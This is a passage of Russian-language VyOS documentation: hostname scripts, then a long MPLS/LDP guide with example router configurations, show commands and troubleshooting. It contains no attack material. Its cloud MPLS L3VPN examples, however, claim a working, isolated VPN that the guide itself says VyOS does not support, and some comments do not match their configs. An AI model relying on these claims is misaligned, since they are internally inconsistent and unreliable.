if [ "$VYOS_HOSTNAME" = "$OS_HOSTNAME" ]; then
    echo "Status: OK - Hostnames match"
    exit 0
else
    echo "Status: WARNING - Hostname mismatch detected!"
    echo "Action required: Restart VyOS router or reconnect SSH session"
    exit 1
fi
```

### Скрипт экспорта конфигурации hostname

```bash
#!/bin/vbash
# export-hostname-config.sh
# Экспорт конфигурации hostname в JSON формат

source /opt/vyatta/etc/functions/script-template

OUTPUT_FILE="/config/hostname-export.json"

HOSTNAME=$(cli-shell-api showCfg system host-name)
DOMAIN=$(cli-shell-api showCfg system domain-name)

echo "{" > "$OUTPUT_FILE"
echo "  \"hostname\": \"$HOSTNAME\"," >> "$OUTPUT_FILE"
echo "  \"domain\": \"$DOMAIN\"," >> "$OUTPUT_FILE"
echo "  \"fqdn\": \"$HOSTNAME.$DOMAIN\"," >> "$OUTPUT_FILE"
echo "  \"static_hosts\": [" >> "$OUTPUT_FILE"

# Получить список static host mappings
# (требует парсинга вывода show configuration)

echo "  ]" >> "$OUTPUT_FILE"
echo "}" >> "$OUTPUT_FILE"

echo "Hostname configuration exported to $OUTPUT_FILE"
```

## Связанные документы

- [System Configuration](/docs/vyos/system/) - Общая конфигурация системы
- [Name Server (DNS)](/docs/vyos/system/vyos-name-server/) - Настройка DNS серверов
- [NTP](/docs/vyos/services/vyos-ntp/) - Настройка времени и NTP
- [Syslog](/docs/vyos/system/vyos-syslog/) - Настройка системного логирования
- [SNMP](/docs/vyos/services/vyos-snmp/) - Мониторинг через SNMP
- [Cloud-init](/docs/vyos/admin-guide/vyos-automation/) - Автоматизация в облаке

## Дополнительные ресурсы

- [RFC 1123 - Requirements for Internet Hosts](https://tools.ietf.org/html/rfc1123)
- [RFC 952 - DoD Internet Host Table Specification](https://tools.ietf.org/html/rfc952)
- [VyOS Documentation - System Host Name](https://docs.vyos.io/en/latest/configuration/system/host-name.html)
- [Yandex Cloud Metadata Service](https://cloud.yandex.ru/docs/compute/operations/vm-info/get-info)
- [VK Cloud Documentation](https://mcs.mail.ru/docs/)

## Заключение

Правильная настройка имени хоста, доменного имени и статических записей хостов является фундаментальной частью конфигурации VyOS. Эти параметры влияют на:

- Идентификацию устройства в сети
- Работу системных служб (syslog, SNMP, NTP)
- Интеграцию с облачными платформами
- Управляемость и мониторинг инфраструктуры

Следуйте рекомендациям из раздела "Лучшие практики" для обеспечения консистентной и надежной конфигурации.


---

# MPLS - Multiprotocol Label Switching

Source: https://opennix.org/docs/vyos/routing/vyos-mpls/


MPLS (Multiprotocol Label Switching) - технология коммутации пакетов на основе меток (labels), обеспечивающая высокую производительность, traffic engineering и VPN сервисы.

## Обзор

MPLS - это парадигма пересылки пакетов, использующая короткие метки (32-bit) вместо длинных IP адресов для принятия решений о маршрутизации.

### Что такое MPLS

**Основные концепции**:
- **Label Switching** - коммутация на основе меток вместо IP lookup
- **LSP (Label Switched Path)** - однонаправленный путь через MPLS сеть
- **Label Stack** - иерархическая структура меток (для туннелирования)
- **FEC (Forwarding Equivalence Class)** - группа пакетов с одинаковой обработкой

**Архитектура**:
```
[Ingress LER] ----> [LSR] ----> [LSR] ----> [Egress LER]
   (Push)           (Swap)      (Swap)        (Pop)
    |                |            |              |
    v                v            v              v
 IP packet      Label=100    Label=200      IP packet
 + Label=100                               (no label)
```

### Компоненты MPLS сети

**Label Edge Router (LER)**:
- Граничный маршрутизатор MPLS сети
- Ingress LER: добавляет метку (push)
- Egress LER: удаляет метку (pop)
- Выполняет IP lookup на границе

**Label Switch Router (LSR)**:
- Внутренний маршрутизатор MPLS сети
- Выполняет только label switching (swap)
- Не анализирует IP заголовок
- Высокая производительность

**Control Plane**:
- LDP (Label Distribution Protocol)
- RSVP-TE (Traffic Engineering)
- BGP (для L3VPN)
- IGP (OSPF, IS-IS) для базовой маршрутизации

**Data Plane**:
- Label Forwarding Information Base (LFIB)
- Label Information Base (LIB)
- Forwarding plane на основе меток

### MPLS заголовок

Структура MPLS заголовка (32 бита):

```
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                Label                  | TC  |S|       TTL     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```

**Поля**:
- **Label** (20 bits) - значение метки (0-1048575)
- **TC/EXP** (3 bits) - Traffic Class (QoS)
- **S** (1 bit) - Bottom of Stack (последняя метка в стеке)
- **TTL** (8 bits) - Time to Live

**Зарезервированные метки**:
- **0** - IPv4 Explicit NULL
- **1** - Router Alert
- **2** - IPv6 Explicit NULL
- **3** - Implicit NULL
- **4-15** - Reserved
- **16-1048575** - Доступны для использования

### Преимущества MPLS

**Производительность**:
- Быстрая коммутация по меткам (vs IP lookup)
- Аппаратное ускорение label switching
- Уменьшение нагрузки на CPU

**Traffic Engineering**:
- Явное задание путей (explicit paths)
- Резервирование полосы пропускания
- Fast Reroute для отказоустойчивости
- Load balancing по нескольким путям

**VPN Services**:
- L2VPN (VPLS, VPWS)
- L3VPN (MPLS VPN)
- Изоляция трафика разных клиентов
- Масштабируемость (тысячи VPN)

**QoS**:
- Traffic Class в MPLS заголовке
- DiffServ integration
- Гарантированная полоса пропускания

**Применение**:
- Service Provider сети
- Enterprise WAN
- Data Center Interconnect (DCI)
- 5G Transport Network

### Текущие ограничения VyOS

**Реализовано**:
- LDP (Label Distribution Protocol)
- MPLS на интерфейсах
- Label switching (базовый)
- Интеграция с OSPF/BGP

**Не реализовано**:
- MPLS L2VPN (VPLS, VPWS)
- MPLS L3VPN (VRF-lite поддерживается отдельно)
- RSVP-TE (Traffic Engineering)
- mVPN (Multicast VPN)
- MPLS OAM (LSP Ping, Traceroute)

**Статус**: MPLS support в VyOS находится в стадии развития. Базовый LDP работает стабильно, но продвинутые функции пока недоступны.

## Label Distribution Protocol (LDP)

LDP - протокол для автоматического распределения меток между MPLS маршрутизаторами.

### Архитектура LDP

**Принцип работы**:
1. LSR обнаруживают друг друга (hello messages)
2. Устанавливается TCP сессия (порт 646)
3. Обмен label bindings (FEC <-> Label)
4. Построение LFIB на каждом LSR

**Типы сообщений**:
- **Discovery** (UDP 646) - hello messages
- **Session** (TCP 646) - установка сессии
- **Advertisement** - распространение меток
- **Notification** - ошибки и события

**Label Distribution Mode**:
- **Downstream Unsolicited** - LSR посылает метки без запроса
- **Downstream on Demand** - метки по запросу
- VyOS использует Downstream Unsolicited (по умолчанию)

**Label Retention Mode**:
- **Liberal** - сохранять метки от всех LSR
- **Conservative** - только от next-hop
- VyOS использует Liberal mode

### Базовая конфигурация LDP

**Минимальная конфигурация**:

```
# Enable MPLS on interface
set protocols mpls interface eth1

# Configure LDP
set protocols mpls ldp interface eth1
set protocols mpls ldp router-id 10.255.255.1

commit
save
```

**Полная конфигурация**:

```
# MPLS interfaces
set protocols mpls interface eth1
set protocols mpls interface eth2

# LDP configuration
set protocols mpls ldp router-id 10.255.255.1
set protocols mpls ldp discovery transport-ipv4-address 10.255.255.1

# LDP on interfaces
set protocols mpls ldp interface eth1
set protocols mpls ldp interface eth2

# Optional: IGP for reachability
set protocols ospf area 0 network 10.255.255.1/32
set protocols ospf area 0 network 10.0.0.0/24
set protocols ospf area 0 network 10.0.1.0/24

commit
save
```

**Параметры**:
- `router-id` - уникальный идентификатор LSR (обязательно)
- `transport-ipv4-address` - адрес для TCP сессий
- `interface` - интерфейсы с активным LDP

### LDP Router ID

Router ID - уникальный идентификатор LDP маршрутизатора (формат IPv4).

```
set protocols mpls ldp router-id 10.255.255.1
commit
```

**Выбор Router ID**:
1. Явно заданный router-id
2. Наибольший IP loopback интерфейса
3. Наибольший IP физического интерфейса

**Рекомендация**: Используйте loopback адрес для стабильности.

### Transport Address

Адрес для установки TCP сессий между LSR.

```
set protocols mpls ldp discovery transport-ipv4-address 10.255.255.1
commit
```

**Использование**:
- Обычно совпадает с router-id
- Должен быть доступен через IGP
- Loopback address для надежности

### LDP Interfaces

Включение LDP на интерфейсах:

```
set protocols mpls ldp interface eth1
set protocols mpls ldp interface eth2
set protocols mpls ldp interface eth3
commit
```

**Hello Parameters**:

```
# Hello interval (default: 5 seconds)
set protocols mpls ldp discovery hello-interval 5

# Hold time (default: 15 seconds)
set protocols mpls ldp discovery hello-holdtime 15

commit
```

**Targeted LDP**:

Для LDP сессий с не-directly connected LSR:

```
set protocols mpls ldp discovery targeted-hello accept
set protocols mpls ldp discovery targeted-hello peer-ipv4-address 10.255.255.10
commit
```

### LDP Session Parameters

**Keepalive и Hold Time**:

```
set protocols mpls ldp session holdtime 180
set protocols mpls ldp session keepalive-interval 60
commit
```

По умолчанию:
- Keepalive: 60 секунд
- Hold time: 180 секунд

**MD5 Authentication**:

```
set protocols mpls ldp neighbor 10.255.255.2 password 'SecureLDP123!'
commit
```

Защита LDP сессии от spoofing.

### LDP Label Allocation

**Allocation Mode**:

По умолчанию VyOS использует per-platform label allocation:
- Одна метка для всех next-hops к prefix
- Более эффективное использование label space

**Label Range**:

```
set protocols mpls label-range dynamic-range-start 16
set protocols mpls label-range dynamic-range-end 1048575
commit
```

Диапазон меток для динамического выделения.

## MPLS Forwarding

### MPLS на интерфейсах

Включение MPLS на интерфейсе:

```
set protocols mpls interface eth1
commit
```

**Эффект**:
- Интерфейс начинает обрабатывать MPLS пакеты
- Включается label switching
- Интерфейс участвует в построении LSP

**Несколько интерфейсов**:

```
set protocols mpls interface eth1
set protocols mpls interface eth2
set protocols mpls interface eth3
set protocols mpls interface bond0
commit
```

### Label Operations

**PUSH** (добавление метки):
- На Ingress LER
- IP пакет получает MPLS метку
- Выполняется на основе FEC

**SWAP** (замена метки):
- На промежуточных LSR
- Входящая метка заменяется на исходящую
- Lookup в LFIB

**POP** (удаление метки):
- На Egress LER
- Метка удаляется
- Пакет обрабатывается как IP
- Penultimate Hop Popping (PHP): pop на предпоследнем LSR

### PHP (Penultimate Hop Popping)

По умолчанию LDP использует PHP:

```
[R1] --100--> [R2] --200--> [R3] --IP--> [R4]
Ingress       LSR          Penultimate   Egress
```

**Преимущества**:
- Снижение нагрузки на Egress LER
- Одно действие вместо двух (pop + IP lookup)

**Explicit NULL**:

Отключить PHP (использовать explicit null label):

```
set protocols mpls ldp allocation ipv4 explicit-null
commit
```

Egress LER получит пакет с меткой 0 (Explicit NULL).

### TTL Propagation

Копирование TTL между IP и MPLS заголовками:

```
# Enable TTL propagation (default)
set protocols mpls ttl-propagation enable
commit

# Disable TTL propagation (скрыть MPLS топологию)
set protocols mpls ttl-propagation disable
commit
```

**Disable**: Скрывает количество LSR в MPLS сети от traceroute.

## L3VPN с MPLS

MPLS L3VPN (RFC 4364) - VPN сервис на основе MPLS для изоляции IP трафика.

### Архитектура L3VPN

**Компоненты**:
- **CE (Customer Edge)** - маршрутизатор клиента
- **PE (Provider Edge)** - граничный маршрутизатор провайдера
- **P (Provider)** - внутренний маршрутизатор провайдера

**Технологии**:
- **VRF (Virtual Routing and Forwarding)** - изолированные routing tables
- **Route Distinguisher (RD)** - уникальность префиксов
- **Route Target (RT)** - импорт/экспорт между VRF
- **MP-BGP** - распространение VPN маршрутов
- **MPLS** - инкапсуляция для передачи через сеть

### VRF Configuration

VyOS поддерживает VRF, но интеграция с MPLS L3VPN ограничена.

**Создание VRF**:

```
# VRF для клиента A
set vrf name CUSTOMER-A table 100
set vrf name CUSTOMER-A description 'Customer A VPN'

# VRF для клиента B
set vrf name CUSTOMER-B table 101
set vrf name CUSTOMER-B description 'Customer B VPN'

commit
```

**Привязка интерфейса к VRF**:

```
set interfaces ethernet eth2 vrf CUSTOMER-A
set interfaces ethernet eth2 address 192.168.10.1/24

set interfaces ethernet eth3 vrf CUSTOMER-B
set interfaces ethernet eth3 address 192.168.10.1/24

commit
```

Одинаковые IP адреса в разных VRF не конфликтуют.

### BGP для L3VPN

**BGP в VRF**:

```
# Global BGP
set protocols bgp system-as 65000

# BGP в VRF CUSTOMER-A
set vrf name CUSTOMER-A protocols bgp system-as 65000
set vrf name CUSTOMER-A protocols bgp neighbor 192.168.10.2 remote-as 65001
set vrf name CUSTOMER-A protocols bgp address-family ipv4-unicast network 10.1.0.0/16

# BGP в VRF CUSTOMER-B
set vrf name CUSTOMER-B protocols bgp system-as 65000
set vrf name CUSTOMER-B protocols bgp neighbor 192.168.10.2 remote-as 65002
set vrf name CUSTOMER-B protocols bgp address-family ipv4-unicast network 10.2.0.0/16

commit
```

### Ограничения VyOS L3VPN

**Текущий статус**:
- VRF реализован и работает
- MPLS LDP работает отдельно
- Нет интеграции VRF + MPLS
- Нет MP-BGP для VPNv4/VPNv6
- Нет Route Distinguisher/Target

**Workaround**:
- Использовать VRF без MPLS (VLAN-based isolation)
- Использовать IPsec/GRE/VXLAN для overlay VPN
- Ждать полной реализации MPLS L3VPN в будущих версиях

### Пример L3VPN архитектуры

Концептуальная схема (для понимания, полная реализация в VyOS pending):

```
[CE1] --eBGP-- [PE1] ====MPLS/LDP==== [PE2] --eBGP-- [CE2]
 AS65001      AS65000    P Routers     AS65000      AS65002
              VRF-A                    VRF-A
              RD:65000:1              RD:65000:1
              RT:65000:1              RT:65000:1
```

**PE1 (теоретическая конфигурация)**:

```
# VRF
set vrf name VPN-A table 100
set vrf name VPN-A rd 65000:1
set vrf name VPN-A rt import 65000:1
set vrf name VPN-A rt export 65000:1

# CE-facing interface
set interfaces ethernet eth2 vrf VPN-A
set interfaces ethernet eth2 address 10.0.1.1/30

# BGP with CE
set vrf name VPN-A protocols bgp system-as 65000
set vrf name VPN-A protocols bgp neighbor 10.0.1.2 remote-as 65001

# MP-BGP with other PE
set protocols bgp system-as 65000
set protocols bgp neighbor 10.255.255.2 remote-as 65000
set protocols bgp address-family l3vpn-ipv4

# MPLS/LDP
set protocols mpls interface eth1
set protocols mpls ldp interface eth1
set protocols mpls ldp router-id 10.255.255.1

commit
```

**Примечание**: Это концептуальная конфигурация, не все параметры реализованы в текущей версии VyOS.

## RSVP-TE (Traffic Engineering)

RSVP-TE (RFC 3209) - расширение RSVP для резервирования ресурсов и явного задания путей.

### Концепция RSVP-TE

**Возможности**:
- Explicit path routing (обход автоматических IGP путей)
- Bandwidth reservation (гарантированная полоса)
- Fast Reroute (защита от отказов)
- Constraint-based routing

**Сравнение с LDP**:

| Функция | LDP | RSVP-TE |
|---------|-----|---------|
| Path selection | Follow IGP | Explicit path |
| Bandwidth | No reservation | Reservation |
| Protection | No | Fast Reroute |
| Сложность | Простой | Сложный |
| Overhead | Низкий | Высокий |

### RSVP-TE в VyOS

**Текущий статус**: RSVP-TE НЕ реализован в VyOS.

**Альтернативы**:
- Использовать LDP для базового MPLS
- Policy-based routing для traffic steering
- Статические LSP (если будут реализованы)

### Концептуальная конфигурация RSVP-TE

Пример того, как могла бы выглядеть конфигурация (NOT IMPLEMENTED):

```
# Enable RSVP-TE
set protocols mpls rsvp-te enable

# Interface bandwidth
set protocols mpls rsvp-te interface eth1 bandwidth 1000000
set protocols mpls rsvp-te interface eth2 bandwidth 1000000

# LSP tunnel
set protocols mpls rsvp-te tunnel LSP-TO-R5
set protocols mpls rsvp-te tunnel LSP-TO-R5 destination 10.255.255.5
set protocols mpls rsvp-te tunnel LSP-TO-R5 bandwidth 100000
set protocols mpls rsvp-te tunnel LSP-TO-R5 priority setup 7
set protocols mpls rsvp-te tunnel LSP-TO-R5 priority hold 7

# Explicit path
set protocols mpls rsvp-te path PATH-VIA-R2
set protocols mpls rsvp-te path PATH-VIA-R2 hop 10 type strict
set protocols mpls rsvp-te path PATH-VIA-R2 hop 10 address 10.0.1.2
set protocols mpls rsvp-te path PATH-VIA-R2 hop 20 type strict
set protocols mpls rsvp-te path PATH-VIA-R2 hop 20 address 10.0.2.5

set protocols mpls rsvp-te tunnel LSP-TO-R5 explicit-path PATH-VIA-R2

commit
```

**Fast Reroute**:

```
set protocols mpls rsvp-te tunnel LSP-TO-R5 fast-reroute enable
set protocols mpls rsvp-te tunnel LSP-TO-R5 fast-reroute link-protection
commit
```

## Примеры конфигурации

### Простая MPLS сеть (3 роутера)

**Топология**:

```
[R1] eth1 <----> eth1 [R2] eth2 <----> eth1 [R3]
10.0.0.0/30        10.0.0.4/30
.1            .2   .5            .6
```

**R1 (Ingress LER)**:

```
# Interfaces
set interfaces ethernet eth1 address 10.0.0.1/30
set interfaces loopback lo address 10.255.255.1/32

# OSPF
set protocols ospf area 0 network 10.0.0.0/30
set protocols ospf area 0 network 10.255.255.1/32
set protocols ospf parameters router-id 10.255.255.1

# MPLS/LDP
set protocols mpls interface eth1
set protocols mpls ldp interface eth1
set protocols mpls ldp router-id 10.255.255.1
set protocols mpls ldp discovery transport-ipv4-address 10.255.255.1

commit
save
```

**R2 (LSR)**:

```
# Interfaces
set interfaces ethernet eth1 address 10.0.0.2/30
set interfaces ethernet eth2 address 10.0.0.5/30
set interfaces loopback lo address 10.255.255.2/32

# OSPF
set protocols ospf area 0 network 10.0.0.0/30
set protocols ospf area 0 network 10.0.0.4/30
set protocols ospf area 0 network 10.255.255.2/32
set protocols ospf parameters router-id 10.255.255.2

# MPLS/LDP
set protocols mpls interface eth1
set protocols mpls interface eth2
set protocols mpls ldp interface eth1
set protocols mpls ldp interface eth2
set protocols mpls ldp router-id 10.255.255.2
set protocols mpls ldp discovery transport-ipv4-address 10.255.255.2

commit
save
```

**R3 (Egress LER)**:

```
# Interfaces
set interfaces ethernet eth1 address 10.0.0.6/30
set interfaces loopback lo address 10.255.255.3/32

# OSPF
set protocols ospf area 0 network 10.0.0.4/30
set protocols ospf area 0 network 10.255.255.3/32
set protocols ospf parameters router-id 10.255.255.3

# MPLS/LDP
set protocols mpls interface eth1
set protocols mpls ldp interface eth1
set protocols mpls ldp router-id 10.255.255.3
set protocols mpls ldp discovery transport-ipv4-address 10.255.255.3

commit
save
```

### MPLS с BGP (для L3VPN backbone)

**R1 (PE Router)**:

```
# Interfaces
set interfaces ethernet eth1 address 10.0.0.1/30
set interfaces ethernet eth2 address 192.168.1.1/24
set interfaces loopback lo address 10.255.255.1/32

# OSPF для MPLS core
set protocols ospf area 0 network 10.0.0.0/30
set protocols ospf area 0 network 10.255.255.1/32
set protocols ospf parameters router-id 10.255.255.1

# MPLS/LDP
set protocols mpls interface eth1
set protocols mpls ldp interface eth1
set protocols mpls ldp router-id 10.255.255.1
set protocols mpls ldp discovery transport-ipv4-address 10.255.255.1

# iBGP с другими PE
set protocols bgp system-as 65000
set protocols bgp parameters router-id 10.255.255.1
set protocols bgp neighbor 10.255.255.3 remote-as 65000
set protocols bgp neighbor 10.255.255.3 update-source 10.255.255.1
set protocols bgp neighbor 10.255.255.3 address-family ipv4-unicast

# Customer network
set protocols bgp address-family ipv4-unicast network 192.168.1.0/24

commit
save
```

### MPLS для Service Provider

**Топология**:

```
                    MPLS Core
         ┌─────────────────────────────┐
         │                             │
[CE-A]--[PE1]--[P1]--[P2]--[PE2]--[CE-B]
         │                             │
         └─────────────────────────────┘
              LDP + OSPF/IS-IS
```

**PE1 (Provider Edge)**:

```
# Core-facing interfaces
set interfaces ethernet eth1 address 10.0.1.1/30
set interfaces loopback lo address 10.255.255.1/32

# Customer-facing interface
set interfaces ethernet eth2 address 192.168.10.1/30

# IGP (OSPF) для MPLS core
set protocols ospf area 0 network 10.0.1.0/30
set protocols ospf area 0 network 10.255.255.1/32
set protocols ospf parameters router-id 10.255.255.1

# MPLS/LDP на core интерфейсах
set protocols mpls interface eth1
set protocols mpls ldp interface eth1
set protocols mpls ldp router-id 10.255.255.1
set protocols mpls ldp discovery transport-ipv4-address 10.255.255.1

# BGP с клиентом (CE)
set protocols bgp system-as 65000
set protocols bgp neighbor 192.168.10.2 remote-as 65001
set protocols bgp neighbor 192.168.10.2 address-family ipv4-unicast

# iBGP с другими PE для обмена customer routes
set protocols bgp neighbor 10.255.255.2 remote-as 65000
set protocols bgp neighbor 10.255.255.2 update-source 10.255.255.1
set protocols bgp neighbor 10.255.255.2 address-family ipv4-unicast

commit
save
```

**P1 (Provider Core)**:

```
# Core interfaces
set interfaces ethernet eth1 address 10.0.1.2/30
set interfaces ethernet eth2 address 10.0.2.1/30
set interfaces loopback lo address 10.255.255.10/32

# OSPF
set protocols ospf area 0 network 10.0.1.0/30
set protocols ospf area 0 network 10.0.2.0/30
set protocols ospf area 0 network 10.255.255.10/32
set protocols ospf parameters router-id 10.255.255.10

# MPLS/LDP на всех core интерфейсах
set protocols mpls interface eth1
set protocols mpls interface eth2
set protocols mpls ldp interface eth1
set protocols mpls ldp interface eth2
set protocols mpls ldp router-id 10.255.255.10
set protocols mpls ldp discovery transport-ipv4-address 10.255.255.10

commit
save
```

### Пример для Yandex Cloud: MPLS L3VPN для Enterprise

**Сценарий**: Крупное предприятие с офисами в Москве и Санкт-Петербурге использует Yandex Cloud для MPLS L3VPN.

**Архитектура**:

```
Москва (HQ)                 Yandex Cloud                СПб (Branch)
[CE-MSK]────────[PE-MSK]════════════[PE-SPB]────────[CE-SPB]
192.168.1.0/24   MPLS Core (VRF: CUSTOMER-A)    192.168.2.0/24
AS 65001         AS 65000                        AS 65001
```

**PE-MSK (Yandex Cloud - Moscow)**:

```
# Core interface
set interfaces ethernet eth1 address 10.100.0.1/30
set interfaces loopback lo address 10.255.0.1/32

# Customer interface
set interfaces ethernet eth2 address 10.1.0.1/30

# OSPF в MPLS core
set protocols ospf area 0 network 10.100.0.0/30
set protocols ospf area 0 network 10.255.0.1/32
set protocols ospf parameters router-id 10.255.0.1

# MPLS/LDP
set protocols mpls interface eth1
set protocols mpls ldp interface eth1
set protocols mpls ldp router-id 10.255.0.1
set protocols mpls ldp discovery transport-ipv4-address 10.255.0.1

# VRF для клиента
set vrf name CUSTOMER-A table 100
set vrf name CUSTOMER-A description 'Enterprise Customer A'
set interfaces ethernet eth2 vrf CUSTOMER-A

# BGP с CE (в VRF)
set vrf name CUSTOMER-A protocols bgp system-as 65000
set vrf name CUSTOMER-A protocols bgp neighbor 10.1.0.2 remote-as 65001
set vrf name CUSTOMER-A protocols bgp neighbor 10.1.0.2 address-family ipv4-unicast

# iBGP с PE-SPB для обмена VPN routes
set protocols bgp system-as 65000
set protocols bgp parameters router-id 10.255.0.1
set protocols bgp neighbor 10.255.0.2 remote-as 65000
set protocols bgp neighbor 10.255.0.2 update-source 10.255.0.1
set protocols bgp neighbor 10.255.0.2 address-family ipv4-unicast

# Static route для customer префикса (альтернатива BGP)
set vrf name CUSTOMER-A protocols static route 192.168.2.0/24 next-hop 10.1.0.2

commit
save
```

**CE-MSK (Customer - Moscow HQ)**:

```
# WAN interface (к PE)
set interfaces ethernet eth0 address 10.1.0.2/30

# LAN interface
set interfaces ethernet eth1 address 192.168.1.1/24

# BGP с PE
set protocols bgp system-as 65001
set protocols bgp parameters router-id 192.168.1.1
set protocols bgp neighbor 10.1.0.1 remote-as 65000
set protocols bgp neighbor 10.1.0.1 address-family ipv4-unicast

# Announce local network
set protocols bgp address-family ipv4-unicast network 192.168.1.0/24

# Default route через PE
set protocols static route 0.0.0.0/0 next-hop 10.1.0.1

commit
save
```

**Результат**: Офисы в Москве и СПб соединены через Yandex Cloud MPLS L3VPN с гарантированной изоляцией трафика.

### Пример для VK Cloud: MPLS Backbone для ISP

**Сценарий**: Региональный ISP использует VK Cloud для построения MPLS backbone между городами.

**Архитектура**:

```
Город A              VK Cloud MPLS Core           Город B
[BRAS-A]────[PE-A]═══[P1]═══[P2]═══[PE-B]────[BRAS-B]
Customers    LDP             LDP         LDP    Customers
```

**PE-A (VK Cloud - Edge in City A)**:

```
# Interfaces
set interfaces ethernet eth1 address 10.200.1.1/30
set interfaces ethernet eth2 address 10.200.1.5/30
set interfaces ethernet eth3 address 100.64.1.1/24
set interfaces loopback lo address 10.255.1.1/32

# OSPF
set protocols ospf area 0 network 10.200.1.0/30
set protocols ospf area 0 network 10.200.1.4/30
set protocols ospf area 0 network 10.255.1.1/32
set protocols ospf parameters router-id 10.255.1.1

# MPLS/LDP на core интерфейсах
set protocols mpls interface eth1
set protocols mpls interface eth2
set protocols mpls ldp interface eth1
set protocols mpls ldp interface eth2
set protocols mpls ldp router-id 10.255.1.1
set protocols mpls ldp discovery transport-ipv4-address 10.255.1.1

# BGP для customer routes (iBGP)
set protocols bgp system-as 64512
set protocols bgp parameters router-id 10.255.1.1

# iBGP с другими PE
set protocols bgp neighbor 10.255.1.2 remote-as 64512
set protocols bgp neighbor 10.255.1.2 update-source 10.255.1.1
set protocols bgp neighbor 10.255.1.2 address-family ipv4-unicast
set protocols bgp neighbor 10.255.1.2 address-family ipv4-unicast next-hop-self

# BRAS connection
set protocols bgp neighbor 100.64.1.10 remote-as 64512
set protocols bgp neighbor 100.64.1.10 address-family ipv4-unicast

# Redistribute connected для customer subnets
set protocols bgp address-family ipv4-unicast redistribute connected route-map CUSTOMERS

# Route-map
set policy route-map CUSTOMERS rule 10 action permit
set policy route-map CUSTOMERS rule 10 match interface eth3

commit
save
```

**P1 (VK Cloud - Core Router)**:

```
# Interfaces
set interfaces ethernet eth1 address 10.200.1.2/30
set interfaces ethernet eth2 address 10.200.2.1/30
set interfaces ethernet eth3 address 10.200.3.1/30
set interfaces loopback lo address 10.255.100.1/32

# OSPF с высоким приоритетом (для стабильности)
set protocols ospf area 0 network 10.200.1.0/30
set protocols ospf area 0 network 10.200.2.0/30
set protocols ospf area 0 network 10.200.3.0/30
set protocols ospf area 0 network 10.255.100.1/32
set protocols ospf parameters router-id 10.255.100.1

# MPLS/LDP на всех интерфейсах
set protocols mpls interface eth1
set protocols mpls interface eth2
set protocols mpls interface eth3
set protocols mpls ldp interface eth1
set protocols mpls ldp interface eth2
set protocols mpls ldp interface eth3
set protocols mpls ldp router-id 10.255.100.1
set protocols mpls ldp discovery transport-ipv4-address 10.255.100.1

# NO BGP на core роутере (только транзит MPLS)

commit
save
```

**Преимущества для ISP**:
- Высокая производительность (label switching)
- Масштабируемость (тысячи customer routes)
- Traffic Engineering возможности
- Быстрая конвергенция с BFD

## Операционные команды

### Проверка MPLS

**MPLS интерфейсы**:

```
show mpls interface
```

Вывод:
```
Interface          State  MPLS Enabled
eth1              up     yes
eth2              up     yes
```

**MPLS таблица**:

```
show mpls table
```

Вывод:
```
Inbound Label  Type        Nexthop       Outbound Label
16             LDP         10.0.0.2      17
17             LDP         10.0.0.2      implicit-null
18             LDP         10.0.0.2      19
```

### LDP Neighbors

**Список соседей**:

```
show mpls ldp neighbor
```

Вывод:
```
Peer LDP Ident: 10.255.255.2:0
  TCP connection: 10.255.255.2:646 - 10.255.255.1:37521
  State: OPERATIONAL
  Up time: 01:23:45
  LDP Discovery Sources:
    Interface: eth1

Peer LDP Ident: 10.255.255.3:0
  TCP connection: 10.255.255.3:646 - 10.255.255.1:40123
  State: OPERATIONAL
  Up time: 02:15:30
  LDP Discovery Sources:
    Interface: eth2
```

**Детали конкретного соседа**:

```
show mpls ldp neighbor 10.255.255.2 detail
```

### LDP Bindings

**Label bindings**:

```
show mpls ldp binding
```

Вывод:
```
Destination               Nexthop           Local Label    Remote Label
10.255.255.1/32          10.0.0.1          imp-null       -
10.255.255.2/32          10.0.0.2          16             imp-null
10.255.255.3/32          10.0.0.2          17             18
192.168.1.0/24           10.0.0.2          18             20
```

**Bindings для конкретного префикса**:

```
show mpls ldp binding 192.168.1.0/24
```

### LDP Discovery

**Discovery информация**:

```
show mpls ldp discovery
```

Вывод:
```
Local LDP Identifier: 10.255.255.1:0
Discovery Sources:
  Interface: eth1
    Transport Address: 10.255.255.1
    Hello Interval: 5
    Hello Holdtime: 15
    Link Hellos Sent: 1234
    Link Hellos Received: 1230
```

### Debug и логи

**Enable debug**:

```
# Debug LDP events
debug mpls ldp event

# Debug LDP messages
debug mpls ldp messages

# Debug LDP zebra
debug mpls ldp zebra

# View logs
show log | match mpls
```

**Disable debug**:

```
no debug mpls ldp event
no debug mpls ldp messages
no debug mpls ldp zebra
```

### Forwarding Table

**Kernel forwarding table**:

```
show ip route
```

MPLS маршруты отмечены как:
```
L   192.168.1.0/24 [110/20] via 10.0.0.2, eth1, label 20, 01:23:45
```

**FIB (Forwarding Information Base)**:

```
show ip fib
```

## Troubleshooting

### LDP сессия не устанавливается

**Проверьте**:

1. **IP connectivity**:
   ```
   ping 10.255.255.2
   ```

2. **TCP порт 646**:
   ```
   telnet 10.255.255.2 646
   ```

3. **MPLS на интерфейсе**:
   ```
   show mpls interface
   ```

4. **LDP router-id**:
   ```
   show mpls ldp neighbor
   ```

5. **Firewall**:
   ```
   # Allow LDP
   set firewall ipv4 input filter rule 100 action accept
   set firewall ipv4 input filter rule 100 destination port 646
   set firewall ipv4 input filter rule 100 protocol tcp

   set firewall ipv4 input filter rule 101 action accept
   set firewall ipv4 input filter rule 101 destination port 646
   set firewall ipv4 input filter rule 101 protocol udp

   commit
   ```

6. **IGP доступность**:
   ```
   show ip route 10.255.255.2
   ```

   Transport address должен быть достижим через IGP.

### Labels не распределяются

**Проверьте**:

1. **LDP operational**:
   ```
   show mpls ldp neighbor
   ```

   State должен быть OPERATIONAL.

2. **IGP маршруты**:
   ```
   show ip route ospf
   ```

   Должны быть маршруты к префиксам для LDP binding.

3. **LDP bindings**:
   ```
   show mpls ldp binding
   ```

4. **Label range**:
   ```
   show mpls label table
   ```

5. **Debug**:
   ```
   debug mpls ldp messages
   ```

   Проверьте обмен label mapping сообщениями.

### MPLS forwarding не работает

**Проверьте**:

1. **MPLS таблица**:
   ```
   show mpls table
   ```

   Должны быть entries для destination префикса.

2. **LSP путь**:
   ```
   traceroute mpls ipv4 192.168.1.1
   ```

